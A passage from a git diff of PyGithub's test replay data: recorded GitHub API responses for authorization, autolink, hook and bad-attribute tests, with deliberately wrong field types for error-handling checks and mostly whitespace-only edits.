b/tests/ReplayData/Authorization.testEdit.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5881b7d6eaa13e3b8539ca6ffc334be1"'), ('date', 'Tue, 22 May 2012 18:24:11 GMT'), ('content-type', 'application/json; charset=utf-8')] {"note_url":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/authorizations/372259","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"scopes":["user"],"note":"Note created by PyGithub","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","created_at":"2012-05-22T18:03:17Z","updated_at":"2012-05-22T18:24:11Z","id":372259} - diff --git a/tests/ReplayData/Autolink.setUp.txt b/tests/ReplayData/Autolink.setUp.txt index 456b4d6f84..0f1e03ca1a 100644 --- a/tests/ReplayData/Autolink.setUp.txt +++ b/tests/ReplayData/Autolink.setUp.txt @@ -29,5 +29,4 @@ None None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:15:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"535a973f8ad8495063caa679cdbf106f079769e4c6060713042dc3a9fc844b87"'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4891'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '109'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17A:34FD:E2AD69:E8E4C0:61813A0A')] -[{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/"}] - +[{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/","is_alphanumeric":true}] diff --git a/tests/ReplayData/BadAttributes.testBadAttributeInClassAttribute.txt b/tests/ReplayData/BadAttributes.testBadAttributeInClassAttribute.txt index a249e52f2d..dc67127b6b 100644 --- a/tests/ReplayData/BadAttributes.testBadAttributeInClassAttribute.txt +++ b/tests/ReplayData/BadAttributes.testBadAttributeInClassAttribute.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '5351c17d-c8ac-4a49-b6f4-1dd0411bb9ae'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4587'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:04:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"aab62d006633c3842d38e20dc732a2c9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:38:57 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"id":3404510,"name":"turnstile","full_name":"klmitch/turnstile","owner":{"login":"klmitch","id":686398,"avatar_url":42,"gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User"},"private":false,"html_url":"https://github.com/klmitch/turnstile","description":"A distributed rate limiting WSGI middleware.","fork":false,"url":"https://api.github.com/repos/klmitch/turnstile","forks_url":"https://api.github.com/repos/klmitch/turnstile/forks","keys_url":"https://api.github.com/repos/klmitch/turnstile/keys{/key_id}","collaborators_url":"https://api.github.com/repos/klmitch/turnstile/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/klmitch/turnstile/teams","hooks_url":"https://api.github.com/repos/klmitch/turnstile/hooks","issue_events_url":"https://api.github.com/repos/klmitch/turnstile/issues/events{/number}","events_url":"https://api.github.com/repos/klmitch/turnstile/events","assignees_url":"https://api.github.com/repos/klmitch/turnstile/assignees{/user}","branches_url":"https://api.github.com/repos/klmitch/turnstile/branches{/branch}","tags_url":"https://api.github.com/repos/klmitch/turnstile/tags","blobs_url":"https://api.github.com/repos/klmitch/turnstile/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/klmitch/turnstile/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/klmitch/turnstile/git/refs{/sha}","trees_url":"https://api.github.com/repos/klmitch/turnstile/git/trees{/sha}","statuses_url":"https://api.github.com/repos/klmitch/turnstile/statuses/{sha}","languages_url":"https://api.github.com/repos/klmitch/turnstile/languages","stargazers_url":"https://api.github.com/repos/klmitch/turnstile/stargazers","contributors_url":"https://api.github.com/repos/klmitch/turnstile/contributors","subscribers_url":"https://api.github.com/repos/klmitch/turnstile/subscribers","subscription_url":"https://api.github.com/repos/klmitch/turnstile/subscription","commits_url":"https://api.github.com/repos/klmitch/turnstile/commits{/sha}","git_commits_url":"https://api.github.com/repos/klmitch/turnstile/git/commits{/sha}","comments_url":"https://api.github.com/repos/klmitch/turnstile/comments{/number}","issue_comment_url":"https://api.github.com/repos/klmitch/turnstile/issues/comments/{number}","contents_url":"https://api.github.com/repos/klmitch/turnstile/contents/{+path}","compare_url":"https://api.github.com/repos/klmitch/turnstile/compare/{base}...{head}","merges_url":"https://api.github.com/repos/klmitch/turnstile/merges","archive_url":"https://api.github.com/repos/klmitch/turnstile/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/klmitch/turnstile/downloads","issues_url":"https://api.github.com/repos/klmitch/turnstile/issues{/number}","pulls_url":"https://api.github.com/repos/klmitch/turnstile/pulls{/number}","milestones_url":"https://api.github.com/repos/klmitch/turnstile/milestones{/number}","notifications_url":"https://api.github.com/repos/klmitch/turnstile/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/klmitch/turnstile/labels{/name}","created_at":"2012-02-10T05:16:36Z","updated_at":"2013-08-21T16:04:54Z","pushed_at":"2013-05-01T22:22:20Z","git_url":"git://github.com/klmitch/turnstile.git","ssh_url":"git@github.com:klmitch/turnstile.git","clone_url":"https://github.com/klmitch/turnstile.git","svn_url":"https://github.com/klmitch/turnstile","homepage":"","size":260,"watchers_count":15,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":6,"mirror_url":null,"open_issues_count":1,"forks":6,"open_issues":1,"watchers":15,"master_branch":"master","default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"network_count":6} - diff --git a/tests/ReplayData/BadAttributes.testBadAttributeTransformation.txt b/tests/ReplayData/BadAttributes.testBadAttributeTransformation.txt index aed928675b..815f37fe09 100755 --- a/tests/ReplayData/BadAttributes.testBadAttributeTransformation.txt +++ b/tests/ReplayData/BadAttributes.testBadAttributeTransformation.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b66ca3c7-84f9-455a-9db8-3df385fc7b32'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1254'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 11 Sep 2013 19:26:25 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"6c1c41cdc34b6a47b3ee2a765cc51310"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:45:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User","name":"Kevin L. Mitchell","company":"Rackspace","blog":null,"location":"San Antonio, TX","email":"kevin.mitchell@rackspace.com","hireable":false,"bio":null,"public_repos":29,"followers":15,"following":18,"created_at":"foobar","updated_at":42,"public_gists":0} - diff --git a/tests/ReplayData/BadAttributes.testBadSimpleAttribute.txt b/tests/ReplayData/BadAttributes.testBadSimpleAttribute.txt index 1191038c70..f367c4a48c 100644 --- a/tests/ReplayData/BadAttributes.testBadSimpleAttribute.txt +++ b/tests/ReplayData/BadAttributes.testBadSimpleAttribute.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '678fcfc5-140a-4d38-be2f-09ebbd8bb58d'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1254'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 11 Sep 2013 19:26:25 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"6c1c41cdc34b6a47b3ee2a765cc51310"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:21:32 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"login":"klmitch","id":686398,"avatar_url":"https://2.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User","name":42,"company":"Rackspace","blog":null,"location":"San Antonio, TX","email":"kevin.mitchell@rackspace.com","hireable":false,"bio":null,"public_repos":29,"followers":15,"following":18,"created_at":"2011-03-23T15:42:09Z","updated_at":"2013-09-11T19:26:25Z","public_gists":0} - diff --git a/tests/ReplayData/BadAttributes.testBadSimpleAttributeInList.txt b/tests/ReplayData/BadAttributes.testBadSimpleAttributeInList.txt index d62b76ff4a..d69ecff835 100644 --- a/tests/ReplayData/BadAttributes.testBadSimpleAttributeInList.txt +++ b/tests/ReplayData/BadAttributes.testBadSimpleAttributeInList.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'fd44f8b6-d47d-44c5-a365-cd7bf9569c88'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:31:46 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"name":"activecollab","events":["push", 42],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]} - diff --git a/tests/ReplayData/BadAttributes.testBadTransformedAttribute.txt b/tests/ReplayData/BadAttributes.testBadTransformedAttribute.txt index aed928675b..815f37fe09 100644 --- a/tests/ReplayData/BadAttributes.testBadTransformedAttribute.txt +++ b/tests/ReplayData/BadAttributes.testBadTransformedAttribute.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b66ca3c7-84f9-455a-9db8-3df385fc7b32'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1254'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 11 Sep 2013 19:26:25 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"6c1c41cdc34b6a47b3ee2a765cc51310"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:45:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User","name":"Kevin L. Mitchell","company":"Rackspace","blog":null,"location":"San Antonio, TX","email":"kevin.mitchell@rackspace.com","hireable":false,"bio":null,"public_repos":29,"followers":15,"following":18,"created_at":"foobar","updated_at":42,"public_gists":0} - diff --git a/tests/ReplayData/BadAttributes.testBadTransformedAttributeInDict.txt b/tests/ReplayData/BadAttributes.testBadTransformedAttributeInDict.txt index 8542c22619..88611ae747 100644 --- a/tests/ReplayData/BadAttributes.testBadTransformedAttributeInDict.txt +++ b/tests/ReplayData/BadAttributes.testBadTransformedAttributeInDict.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8131a430-28c1-45bb-a5b7-09fcdabc5dc7'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '2933'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 12 Sep 2013 00:23:35 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"b3954ac942969f1e10c24ec5b5ec04d3"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 09:25:36 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378980564')] {"url":"https://api.github.com/gists/6437766","forks_url":"https://api.github.com/gists/6437766/forks","commits_url":"https://api.github.com/gists/6437766/commits","id":"6437766","git_pull_url":"https://gist.github.com/6437766.git","git_push_url":"https://gist.github.com/6437766.git","html_url":"https://gist.github.com/6437766","files":{"test.py":42},"public":true,"created_at":"2013-09-04T14:30:47Z","updated_at":"2013-09-04T14:30:48Z","description":"Test script for https://github.com/jacquev6/PyGithub/issues/194","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6437766/comments","forks":[],"history":[{"user":null,"version":"5aa7a28e0a1dc6acf5a70de66e189f73f01735f4","committed_at":"2013-09-04T14:30:47Z","change_status":{"total":24,"additions":24,"deletions":0},"url":"https://api.github.com/gists/6437766/5aa7a28e0a1dc6acf5a70de66e189f73f01735f4"}]} - diff --git a/tests/ReplayData/BadAttributes.testBadTransformedAttributeInList.txt b/tests/ReplayData/BadAttributes.testBadTransformedAttributeInList.txt index a3e26db30d..cdff6181c0 100644 --- a/tests/ReplayData/BadAttributes.testBadTransformedAttributeInList.txt +++ b/tests/ReplayData/BadAttributes.testBadTransformedAttributeInList.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '205eb9ed-a173-47a2-b670-16ec266adef5'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '6111'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 01 May 2013 19:03:50 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"50a14a79f7095a8d4fed16d05a4b1412"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 09:09:25 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378980564')] {"sha":"38d9082a898d0822b5ccdfd78f3a536e2efa6c26","commit":{"author":{"name":"Kevin L. Mitchell","email":"kevin.mitchell@rackspace.com","date":"2013-05-01T19:03:50Z"},"committer":{"name":"Kevin L. Mitchell","email":"kevin.mitchell@rackspace.com","date":"2013-05-01T19:03:50Z"},"message":"Ignore empty configuration values for extra database arguments\n\nTurnstile's functionality to allow the control daemon and the\ncompactor daemon to use different Redis configuration provides\none problem: values that are set in the \"[redis]\" section are\ninherited by all sections, even when that is not desired. To\ncombat this, we now allow an empty value to completely delete\nthe key from the redis configuration in Config.get_database().","tree":{"sha":"83b8ab73bedb67846b47533d1bac7767ac325dc8","url":"https://api.github.com/repos/klmitch/turnstile/git/trees/83b8ab73bedb67846b47533d1bac7767ac325dc8"},"url":"https://api.github.com/repos/klmitch/turnstile/git/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26","comment_count":0},"url":"https://api.github.com/repos/klmitch/turnstile/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26","html_url":"https://github.com/klmitch/turnstile/commit/38d9082a898d0822b5ccdfd78f3a536e2efa6c26","comments_url":"https://api.github.com/repos/klmitch/turnstile/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26/comments","author":{"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User"},"committer":{"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User"},"parents":[{"sha":"e649bcaa580248de40ef6c126fe446a3da514312","url":"https://api.github.com/repos/klmitch/turnstile/commits/e649bcaa580248de40ef6c126fe446a3da514312","html_url":"https://github.com/klmitch/turnstile/commit/e649bcaa580248de40ef6c126fe446a3da514312"}],"stats":{"total":9,"additions":7,"deletions":2},"files":[42]} - diff --git a/tests/ReplayData/BadAttributes.testIssue195.txt b/tests/ReplayData/BadAttributes.testIssue195.txt index 5d0ae92940..48f54d38e6 100644 --- a/tests/ReplayData/BadAttributes.testIssue195.txt +++ b/tests/ReplayData/BadAttributes.testIssue195.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'beb27389-3e55-40c9-b2e7-718b4f647721'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '28297'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 09:34:49 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378980564')] [{"name":"activecollab","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]},{"name":"acunote","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"agilebench","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","project_id"]]},{"name":"agilezen","events":["push"],"supported_events":["push"],"schema":[["string","api_key"],["string","project_id"],["string","branches"]]},{"name":"amazonsns","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","aws_key"],["string","aws_secret"],["string","sns_topic"],["string","sqs_queue"],["password","aws_secret"]]},{"name":"apiary","events":["push"],"supported_events":["push"],"schema":[["string","branch"],["string","domain"]]},{"name":"apoio","events":["issues"],"supported_events":["issues"],"schema":[["string","subdomain"],["string","token"]]},{"name":"appharbor","events":["push"],"supported_events":["push"],"schema":[["string","application_slug"],["string","token"]]},{"name":"apropos","events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_id"]]},{"name":"asana","events":["push"],"supported_events":["push"],"schema":[["string","auth_token"],["string","restrict_to_branch"],["boolean","restrict_to_last_commit"]]},{"name":"backlog","events":["push"],"supported_events":["push"],"schema":[["string","api_url"],["string","user_id"],["password","password"]]},{"name":"bamboo","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","build_key"],["string","username"],["password","password"]]},{"name":"basecamp","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","project"],["string","category"],["string","username"],["password","password"],["boolean","ssl"]]},{"name":"bcx","events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"],"schema":[["string","project_url"],["string","email_address"],["password","password"]]},{"name":"blimp","events":["issues","issue_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_url"],["string","username"],["string","goal_title"],["password","api_key"]]},{"name":"boxcar","events":["push"],"supported_events":["push"],"schema":[["string","subscribers"]]},{"name":"buddycloud","events":["push"],"supported_events":["push"],"schema":[["string","buddycloud_base_api"],["string","username"],["string","password"],["string","channel"],["password","password"],["boolean","show_commit_summary"],["boolean","show_commit_detail"]]},{"name":"bugherd","events":["issues","issue_comment","push"],"supported_events":["issue_comment","issues","push"],"schema":[["string","project_key"]]},{"name":"bugly","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","account_name"],["string","token"]]},{"name":"bugzilla","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","username"],["string","integration_branch"],["password","password"],["boolean","central_repository"]]},{"name":"campfire","events":["push","pull_request","issues"],"supported_events":["gollum","issues","public","pull_request","push"],"schema":[["string","subdomain"],["string","room"],["string","token"],["string","sound"],["boolean","master_only"],["boolean","play_sound"],["boolean","long_url"]]},{"name":"cia","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["boolean","long_url"],["boolean","full_commits"]]},{"name":"circleci","events":[["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"codeclimate","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"codeportingcsharp2java","events":["push"],"supported_events":["push"],"schema":[["string","project_name"],["string","repo_key"],["string","target_repo_key"],["string","codeporting_username"],["password","codeporting_password"],["string","github_access_token"]]},{"name":"codeship","events":["push"],"supported_events":["push"],"schema":[["string","project_uuid"]]},{"name":"coffeedocinfo","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"conductor","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"coop","events":["push"],"supported_events":["push"],"schema":[["s